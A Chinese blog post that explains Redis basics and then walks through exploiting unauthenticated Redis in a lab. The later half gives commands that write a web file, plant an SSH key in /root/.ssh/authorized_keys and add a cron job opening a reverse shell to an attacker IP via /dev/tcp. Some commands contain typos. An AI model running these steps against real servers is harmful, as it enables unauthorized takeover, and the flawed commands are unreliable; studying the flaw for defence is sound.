Redis与Redis未授权访问漏洞利用


Redis是什么?

Redis是数据库的意思。Redis(Remote Dictionary Server ),即远程字典服务,是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

Redis是一个key-value存储系统。和Memcached类似,它支持存储的value类型相对更多,包括string(字符串)、list(链表)、set(集合)、zset(sorted set –有序集合)和hash(哈希类型)。这些数据类型都支持push/pop、add/remove及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上,redis支持各种不同方式的排序。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了master-slave(主从)同步。

Redis运行在内存中但是可以持久化到磁盘,所以在对不同数据集进行高速读写时需要权衡内存,因为数据量不能大于硬件内存。在内存数据库方面的另一个优点是,相比在磁盘上相同的复杂的数据结构,在内存中操作起来非常简单,这样Redis可以做很多内部复杂性很强的事情。同时,在磁盘格式方面他们是紧凑的以追加的方式产生的,因为他们并不需要进行随机访问。

Redis的出现,很大程度补偿了memcached这类key/value存储的不足,在部分场合可以对关系数据库起到很好的补充作用。

基本语法

Redis 配置

Redis 的配置文件位于 Redis 安装目录下,文件名为 redis.conf(Windows 名为redis.windows.conf)。你可以通过 CONFIG 命令查看设置配置项。

Redis CONFIG 查看配置命令格式如下:

redis 127.0.0.1:6379> CONFIG GET CONFIG_SETTING_NAME

使用 ***** 号获取所有配置项:

redis 127.0.0.1:6379> CONFIG GET *

  1) "dbfilename"
  2) "dump.rdb"
  3) "requirepass"
  4) ""
  5) "masterauth"
  6) ""
  7) "unixsocket"
  8) ""
  9) "logfile"
  ......

编辑配置

你可以通过修改 redis.conf 文件或使用 CONFIG set 命令来修改配置。

CONFIG SET 命令基本语法:

redis 127.0.0.1:6379> CONFIG SET CONFIG_SETTING_NAME NEW_CONFIG_VALUE

实例

redis 127.0.0.1:6379> CONFIG SET loglevel "notice"
OK
redis 127.0.0.1:6379> CONFIG GET loglevel

1) "loglevel"
2) "notice"

参数说明

几个redis.conf 配置项说明如下:

配置项 说明
port 6379 指定 Redis 监听端口,默认端口为 6379
bind 127.0.0.1 绑定的主机地址
timeout 300 当客户端闲置多长秒后关闭连接,如果指定为 0 ,表示关闭该功能
databases 16 设置数据库的数量,默认数据库为0,可以使用 SELECT 命令在连接上指定数据库id
save <seconds> <changes> 指定在多长时间内,有多少次更新操作,就将数据同步到数据文件,可以多个条件配合
dbfilename dump.rdb 指定本地数据库文件名,默认值为 dump.rdb
dir ./ 指定本地数据库存放目录

详情请见:https://www.runoob.com/redis/redis-conf.html

Redis 命令

Redis 命令用于在 redis 服务上执行操作。要在 redis 服务上执行命令需要一个 redis 客户端。Redis 客户端在我们之前下载的的 redis 的安装包中。

Redis 客户端的基本语法为:

$ redis-cli

以下实例讲解了如何启动 redis 客户端:

启动 redis 客户端,打开终端并输入命令 redis-cli。该命令会连接本地的 redis 服务。

$ redis-cli
redis 127.0.0.1:6379>
redis 127.0.0.1:6379> PING

PONG

在以上实例中我们连接到本地的 redis 服务并执行 PING 命令,该命令用于检测 redis 服务是否启动,如果服务器运作正常的话,会返回一个 PONG 。

在远程服务上执行命令

如果需要在远程 redis 服务上执行命令,同样我们使用的也是 redis-cli 命令。

语法

$ redis-cli -h host -p port -a password

以下实例演示了如何连接到主机为 127.0.0.1,端口为 6379 ,密码为 mypass 的 redis 服务上。

$redis-cli -h 127.0.0.1 -p 6379 -a "mypass"
redis 127.0.0.1:6379>
redis 127.0.0.1:6379> PING

PONG

SET 命令

Redis SET 命令用于设置给定 key 的值。如果 key 已经存储其他值, SET 就覆写旧值,且无视类型。

redis SET 命令基本语法如下:

redis 127.0.0.1:6379> SET KEY_NAME VALUE

Get 命令

Redis Get 命令用于获取指定 key 的值。如果 key 不存在,返回 nil 。

redis Get 命令基本语法如下:

redis 127.0.0.1:6379> GET KEY_NAME

Flushall 命令

Redis Flushall 命令用于清空整个 Redis 服务器的数据(删除所有数据库的所有 key )。

redis Flushall 命令基本语法如下:

redis 127.0.0.1:6379> FLUSHALL 

Redis 数据备份与恢复

Redis SAVE 命令用于创建当前数据库的备份。Save 命令执行一个同步保存操作,将当前 Redis 实例的所有数据快照(snapshot)以默认 RDB 文件的形式保存到硬盘。

redis Save 命令基本语法如下:

redis 127.0.0.1:6379> SAVE 
OK

该命令将在 redis 安装目录中创建dump.rdb文件。

恢复数据

如果需要恢复数据,只需将备份文件 (dump.rdb) 移动到 redis 安装目录并启动服务即可。获取 redis 目录可以使用 CONFIG 命令,如下所示:

redis 127.0.0.1:6379> CONFIG GET dir
1) "dir"
2) "/usr/local/redis/bin"

以上命令 CONFIG GET dir 输出的 redis 安装目录为 /usr/local/redis/bin。

Redis 安全

我们可以通过 redis 的配置文件设置密码参数,这样客户端连接到 redis 服务就需要密码验证,这样可以让你的 redis 服务更安全。

我们可以通过以下命令查看是否设置了密码验证:

127.0.0.1:6379> CONFIG get requirepass
1) "requirepass"
2) ""

默认情况下 requirepass 参数是空的,也就是说默认情况下是无密码验证的,这就意味着你无需通过密码验证就可以连接到 redis 服务。

你可以通过以下命令来修改该参数:

127.0.0.1:6379> CONFIG set requirepass "runoob"
OK
127.0.0.1:6379> CONFIG get requirepass
1) "requirepass"
2) "runoob"

设置密码后,客户端连接 redis 服务就需要密码验证,否则无法执行命令。

语法

AUTH 命令基本语法格式如下:

127.0.0.1:6379> AUTH password

该命令用于检测给定的密码和配置文件中的密码是否相符。

redis Auth 命令基本语法如下:

redis 127.0.0.1:6379> AUTH PASSWORD 

密码匹配时返回 OK ,否则返回一个错误。

实例

127.0.0.1:6379> AUTH "runoob"
OK
127.0.0.1:6379> SET mykey "Test value"
OK
127.0.0.1:6379> GET mykey
"Test value"

什么是Redis未授权访问?

Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的 config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。

简单说,漏洞的产生条件有以下两点:

  • redis 绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网。

  • 没有设置密码认证(一般为空),可以免密码远程登录redis服务。

漏洞危害

  • 攻击者无需认证就可以访问到内部数据,可能导致敏感信息泄露,黑客也可以恶意执行flushall来清空所有数据;

  • 攻击者可通过EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件;

  • 最严重的情况,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器。

环境搭建

攻击机:kali 192.168.1.101

受害机:ubuntu 192.168.1.9

第一步:ubuntu中下载安装Redis

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

image-20200710174400466

第二步:下载好以后,解压Redis安装包,进入到Redis目录中,执行make,通过make编译的方式来安装

image-20200710174534408

image-20200710174620684

如上图提示“It’s a good idea to run ‘make test’ ”代表编译安装成功。

第四步:make结束后,进入src目录:cd src,

将redis-server和redis-cli拷贝到/usr/bin目录下(这样启动redis-server和redis-cli就不用每次都进入安装目录了)

image-20200710175109667

第五步:返回redis-2.8.17目录,将redis.conf拷贝到/etc目录下。

image-20200710175213128

第六步:使用/etc目录下的reids.conf文件中的配置启动redis服务:

image-20200710175440733

第七步:此时受害机的Redis服务(作为服务端)已经启动了,作为攻击机的kali系统,按照以上的步骤同样安装Redis(作为客户端)。

image-20200710180310344

漏洞复现

使用redis客户端直接无账号成功登录redis(未授权访问)

redis-cli -h 192.168.1.9

image-20200710180537236

0x01 利用redis写webshell:

条件:

靶机redis连接未授权,在攻击机上能用redis-cli连上,如上图,并未登陆验证

开了web服务器,并且知道路径(如利用phpinfo,或者错误爆路经),还需要具有文件读写增删改查权限

我们可以将dir设置为目录/var/www/html,将指定本地数据库存放目录设置为/var/www/html;将dbfilename设置为文件名info.php,即指定本地数据库文件名为info.php;再执行save或bgsave,则我们就可以写入一个路径为/var/www/html/info.php的任意文件。

原理就是在数据库中插入一条webshell数据,将此webshell代码E作为value,key值随意(x),然后通过修改数据库的默认路径为/var/www/html和默认的缓冲文件info.php,把缓冲的数据保存在文件里,这样就可以在服务器端的/var/www/html下生成一个webshell。

操作步骤:

config set dir /var/www/html/ 
config set dbfilname info.php 
set x "<?php phpinfo();?>" 
save

image-20200711002249966

keys * 用于查看当前所有的key。

这里需要注意的是第三步写webshell的时候,可以使用:

set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"

\r\n\r\n代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行,查看/var/www/html/目录下的info.php文件内容。

image-20200711002453102

0x02写入ssh公钥,获取操作系统权限

原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生成一个授权的key。

第一步:在自己电脑上的/root/.ssh目录里生成ssh公钥key:

ssh-keygen -t rsa

image-20200711003332720

第二步:将公钥导入key.txt文件(前后用\n换行,避免和Redis里其他缓存数据混合),再把key.txt文件内容写入目标主机的缓冲里:

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt
cat /root/.ssh/key.txt | redis-cli -h 192.168.1.9 -x set xxx

// -x 代表从标准输入读取数据作为该命令的最后一个参数。

image-20200711003633887

第三步:使用攻击机连接目标机器Redis

redis-cli -h 192.168.1.9

image-20200711003957668

第四步:设置redis的备份路径为/root/.ssh/和保存文件名为authorized_keys

config set dir /root/.ssh
config set dbfilename authorized_keys

image-20200711004557498

第五步:将数据保存在目标服务器硬盘上

save

第六步:使用攻击机ssh连接目标受害机

ssh -h 192.168.1.9

image-20200711004834216

0x03在crontab里写定时任务,反弹shell:

这个方法只能Centos上使用,Ubuntu上行不通,原因如下:

  • 因为默认redis写文件后是644的权限,但ubuntu要求执行定时任务文件/var/spool/cron/crontabs/<username>权限必须是600也就是-rw——-才会执行,否则会报错(root) INSECURE MODE (mode 0600 expected),而Centos的定时任务文件/var/spool/cron/<username>权限644也能执行

  • 因为redis保存RDB会存在乱码,在Ubuntu上会报错,而在Centos上不会报错

由于系统的不同,crontrab定时文件位置也会不同:

Centos的定时任务文件在/var/spool/cron/<username>
Ubuntu定时任务文件在/var/spool/cron/crontabs/<username>

第一步:在公网服务器中使用nc监听

nc -lvp 4444

第二步:连接Redis,写入反弹shell

./redis-cli -h 192.168.142.153
set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.1.101/4444 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save

image-20200711005158296

第三步:过一分钟以后,在公网的nc中会反弹shell回来。

参考:

https://blog.csdn.net/cj_Allen/article/details/106855893

https://www.redteaming.top/2019/07/15/%E6%B5%85%E6%9E%90Redis%E4%B8%ADSSRF%E7%9A%84%E5%88%A9%E7%94%A8/#Redis%E9%85%8D%E5%90%88gopher%E5%8D%8F%E8%AE%AE%E8%BF%9B%E8%A1%8CSSRF


Author: WHOAMI
Reprint policy: All articles in this blog are used except for special statements CC BY 4.0 reprint polocy. If reproduced, please indicate source WHOAMI !
评论
  TOC